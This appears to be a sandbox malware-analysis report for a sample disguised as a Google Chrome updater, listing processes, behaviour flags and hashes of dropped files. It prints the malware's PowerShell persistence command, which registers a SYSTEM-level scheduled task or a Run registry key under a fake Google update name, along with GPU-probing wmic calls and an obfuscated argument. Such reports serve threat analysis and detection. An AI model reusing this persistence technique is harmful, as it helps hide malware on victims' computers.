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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4168
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:4500
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:776
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2732
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1088
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2776
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 49KB
- SHA256 dc5c3344bc82640c27de170054f700c693a1a5a92f9118eaeb7c3219ebf04a84
- MD5 1656d5b1aa081ee32a2652ff91a8cf21
- SHA1 c666e0067383f1c5c80a67bdada9285c85993cca
- SHA512 bb80033f4e3b946e9fde2a48f94ef4a61e9ab63bec41093b39744430c7d49026baa6bb9d77fbd8e95ac8628ba9b188454003dc387dd7f4db1b4488ce0c90962c
- SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l+NZoK7FOj8:L3zCarzIpyj5pLauwYY94E6w/oc
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 491KB
- SHA256 9ca072f39b4eed03b59a4bdbe75155b4be1116619ada90e32e3489ec87448f75
- MD5 8db646911440cf810ed8fcf653e0daae
- SHA1 76e42976a94a7ea64561ae2c7fc173e3f2a02905
- SHA512 9dc80fb888cbc8b3c6e793c2cfa9621e714fc82e84b579bbc64db6e36b0f575a322df93090ea723b529711e94f173d20e5a324186d943cfc012a77a203f84dec
- SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVI:rWVipGdVZjdqVC5jd88FC3I
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05
- MD5 3a6bad9528f8e23fb5c77fbd81fa28e8
- SHA1 f127317c3bc6407f536c0f0600dcbcf1aabfba36
- SHA512 846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f6f4442564ab77163d4d1ffffc74c3d714102979ee9e075c5235174c6e5761db
- MD5 7661d0b4dc733b10a8f401452d63128d
- SHA1 b374bb6f3860ac70574f282738c7f456fbe2c33d
- SHA512 788fad8d0684cccc776c41203df09335977cc67ed2e58c6d785eef9d38a33c1fa30d64360a88ff3d4603fa8dfe0f080e2279987c1e556db53d2bb8a38c047d0d
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sh0uyp1e.t5g.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512